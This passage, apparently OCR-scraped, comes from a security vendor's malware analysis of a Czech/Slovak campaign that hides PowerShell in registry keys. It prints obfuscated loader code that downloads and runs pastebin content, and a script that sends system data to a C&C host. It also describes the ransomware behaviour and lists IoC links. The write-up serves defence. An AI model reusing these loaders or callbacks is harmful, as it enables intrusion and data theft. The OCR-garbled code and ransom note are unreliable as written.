IEX ( (((
.("SET-ITEM VARTIABLE :: !
) ( "VARTABLE:178F2
"SET-ITEM') ('VARIABLE:PDGI') (
_ CE}.(*TOSTRING'). )[1,3]+'X"-
MEW-OBJECT') ("SYSTEM.IO.COMPRESSION.DEFLATESTREAM') (
t::( " FROMBASEGASTRING' ) . T (
"rVLvi9NAEP1e6P8whsAl1E2L1GC1HE5ehX7pqS@ohCibdlgst98NuxNzpd? /FuaXgkgpYhIyuSM3b96b7 JadIbaViCUwC
69mA5EABDUBxJI7 aKexTaAXsQyWQwMulziVGmT 5641 5XiuBFCOTfxyOfGuwAT+otXy07I7ZTT81IBX1cObpegDY71Q13MIPeK T

NimcFu+/0X44g/81Wr+/3e8NWgtPHRtdR+euvaxg7zkXziral FBR4kRcCMIO15BmCF3+Zsde]B8/h5qZX8MIpwMB8vAgiCc
blols198AYCXzglszfglpMEbeduZkluMnGDg,/EIxAGCZ7ELT115ez0drubmkvDerYBmnoCmKZGEoUO60QNA360l MTEAKY i
Jkey QWi lwYKhy29+1850Q/9kyCorOgvgui3ToeHVEXOnL pdRwl+jak TuMF6+18bp0gTpks pUFEPyrQitl1s860h0108pqvt+2h
gOvICrn®2nlLWEQVHNOpobXU2/SaQs7ksbgQBRIVDKVWHKC1+Gg5VeftrtefTt4z1RrkD85IZ2bIKSvg3A77 /5qpbzpyrdw
RPEX2gRue¥YmXdakr8GNEjedebuuDCP5gt9si3ffyn’

Inside the base64 string is malicious code that tests the connection and executes code
directly from the internet.
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https://decoded.avast.io/wp-content/uploads/sites/2/2022/04/image26.png

Start-Sleep -s 68

if(Test-Connection -Quiet "google.com”™ -Count 2) {

$arr = Resolve-DnsName guugler.com -Type A | ForEach-Object { % _IPAddress }
$arrt = Resolve-DnsName guugler.com -Type AAAA | ForEach-Object { % .IPAddress }

$arr=farr.Split(".") -replace "[*B-9]" ,
$arrt=farrt.Split(":") -replace "["@-9]" , "'
$final=""

for ($1i = @; %i -1t $arr.Count ; $i++) {
if (![string]::IsNullOrEmpty{$arr[$i]))
{
$final=$final + [char[]][int[]]%arr[$i]

=@; $i -1t $arrt.Count ; $i++) {

if (![string]::IsNullOrEmpty($arrt[$i]))
{

$final=$final +[char[]][int[]]$arrt[$1]

web = New-Object MNet.WebClient
content=%web.DownloadString("http: //pastebin. com/raw/"+§final)
f (%$content.length -gt 4) {

$content

In total, | found about 40 different values of the Shell key in the wild that contain similar
code with different URLs and they are obfuscated in the same way or less.



https://lh3.googleusercontent.com/j9OVRS1tYq-BGforTGpqTKBHgh-0-jUghYipbEqbwGYCapf2rWhIb4SGfKXTD-W1O131NKG4X0lrqjLp-jo-iVVEA84FHSNJJNddFeujYzxqG3uq0LfGEVydkkamPZ13U9K-aUhK

Some of the pastebins were alive. For example, one of them contains the following scripts
that sends information about graphic cards to the C&C server, which can decide what to
install on an infected computer. | have not found any C&C server alive.

$ArrComputers
Clear-Host

iputerVideo = Get-WmiObject Win32 VideoController -ComputerName $Computer
-Object Net.WebClient
$web.DownloadString("http://www.alursystem.sk/req.php?x= computerVideo.description)

Ransomware

Another final stage that runs from the registry keys is ransomware Athos.exe. At first it
checks some tactics from https://blog.sevagas.com/IMG/pdf/BypassAVDynamics.pdf to
check if it runs in the sandbox. On the sixth start it injects ransomware into another process
that gets the id and encryption key from the web page googleprovider[.]ru . Then it
encrypts all the files with AES-CFB and shows the following message saved on imgur

( https://i.imgur[.]com/cKkSBSI.jpg ).

Tueje sblbory s zZaheslovans.
Akﬂ@h[@g
m@n@]e
ﬂth@tr ﬂDeﬂ
[Fh@ e@e@
nebudd dat cbnovitll Obnovi sblbory
@m@i@émf

www.googleprovider.ru/athos

Translation: Your files are encrypted If you Want them back you need your ID that you can
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https://lh3.googleusercontent.com/hzu7Mjb3yhXeI9lEzkW1VmgT1lixPYwXeF5TQh0aSqkH8gGV-dZAszL7_eYbUUh2fa-Q6k9aoM_ZurHgvP9eUIaROQlLsQFKC1LP-Ya09xhoIIkg1Art4EZw55WbQ5tCGsxR-Ks-
https://blog.sevagas.com/IMG/pdf/BypassAVDynamics.pdf
https://lh6.googleusercontent.com/epdIKBOJRW7Q5yTk0aBzNrmcXAeB8PV9vsgkTZvE3ZRP8cxivtgBzgk-FZxRAoPAWH_BjKpCjID2W9I_fwgxF7J377k7r71VJpqZ8s7LvxA7dTQ6Q0Qpacl_uZbKTQpQQfnskari

find in Athos_ID.txt on the desktop. Keep your ID secure, if you lose it, your files can’t be
recovered!!! You can recover your files with the help of the website www.g...

We also found AutolT ransomware King Ouroboros translated to Slovak. The malware was
edited to use Windows users’ GUID as encryption key and to download additional content
from a different server than the original King Ouroboros.

ransomware hash:
90d99c4fe7f81533fb02cfOf1ff296ccl1b2d88eas5c4c8567142bb455f435ee5b

Conclusion

Most of the methods described in this article are not new, in some cases | was able to find
their source. The most interesting method is hiding the powershell script to the registry
keys.

As | found out, the author is a Slovak speaker, this corresponds with the fact that the
infected files were published only on Uloz.to, therefore the victims are only from the Czech
Republic and Slovakia.

The variation of the final payload is huge. | found three different RATs, a few different
packers of coinminers and ransomware that were created by the author and many more
that were “available” on the internet. The initial installer, which function was to call only one
command, was also created with a huge variety of tools, some of them quite obscure.

To protect against this type of threat, it is enough to download software only from
trustworthy sources and use security software, like Avast Antivirus, which will act as a
safety net in case you should come across a threat.

Indicators of Compromise (loC)

e Repository: https://github.com/avast/ioc/tree/master/Certishell
 List of SHA-256: https://github.com/avast/ioc/blob/master/Certishell/samples.sha256
o URI: https://github.com/avast/ioc/blob/master/Certishell/network.txt

Tagged asanalysis, cryptomining, malware
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